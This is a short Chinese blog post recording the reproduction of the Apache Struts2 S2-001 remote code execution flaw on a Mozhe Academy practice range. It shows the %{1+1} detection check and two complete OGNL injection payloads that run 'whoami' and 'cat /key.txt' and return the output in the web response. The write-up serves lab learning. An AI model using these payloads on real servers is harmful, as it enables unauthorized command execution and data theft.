Apache Struts2远程代码执行漏洞(S2-001)复现总结

    科技2023-09-25  77

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

    文章目录

    前言一、Struts2远程代码执行漏洞(S2-001)复现检验方法利用漏洞进行命令执行


    前言

    为了加深对struts漏洞的理解,记录下复现struts漏洞的过程.

    一、Struts2远程代码执行漏洞(S2-001)复现

    在这里使用墨者学院的靶场进行复现

    检验方法

    在表格中输入%{1+1}看返回结果是否为2 返回结果都为2,证明账户和密码表格处都存在这个漏洞

    利用漏洞进行命令执行

    输入以下代码进行命令执行

    %{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

    显示结果成功执行命令 接下来执行命令cat /key.txt获取key值,提交墨者学院 payload为

    %{ #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/key.txt"})).redirectErrorStream(true).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[50000], #d.read(#e), #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"), #f.getWriter().println(new java.lang.String(#e)), #f.getWriter().flush(),#f.getWriter().close() }

    Processed: 0.023, SQL: 8